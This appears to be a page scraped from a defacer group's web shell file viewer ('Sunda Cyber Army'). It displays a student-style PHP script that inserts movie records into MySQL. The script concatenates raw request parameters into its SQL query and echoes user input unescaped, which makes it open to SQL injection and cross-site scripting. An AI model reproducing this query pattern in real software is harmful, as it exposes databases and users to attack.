Sunda Cyber Army


* Sunda Cyber Army 2k17 *
Indonesia Defacer ~


Path : /home/dent/public_html/demos2023/
File Upload :
Current File : /home/dent/public_html/demos2023/insertmovie.php

<?php
var_dump($_REQUEST);

$host = "webdev.iyaserver.com";
$userid = "[youruserid]";
$userpw = "[yourpw]";
$db = "[database name]";

include '../pdloginvariables.php';

$mysql = new mysqli(
    $host,
    $userid,
    $userpw,
    $db
);


if($mysql->connect_errno) {
    echo "db connection error : " . $mysql->connect_error;
    exit();
}

$fullname = "patrick" . "dent";
$numb = 70 + 77;


$sql = "INSERT INTO dvd_titles 
        (title, genre_id, rating_id, sound_id, label_id, format_id)
        VALUES
        ('" . $_REQUEST["title"] . "', " . $_REQUEST["genre"] . "," .
                $_REQUEST["rating"] . "," .
                $_REQUEST["sound"] . "," .
                $_REQUEST["label"] . "," .
                $_REQUEST["format"]  .
                ")";

// single line php comment
/*
  multi line comment
    dafsdfsdfsd
 */
$results = $mysql->query($sql);

echo "<hr> " . $sql . "<hr>";

if (!$results) {
    echo "DATABASE ERROR: " . $mysql->error;
    exit();
}

echo "Added your new movie " . $_REQUEST["title"] . " to the database!";


?>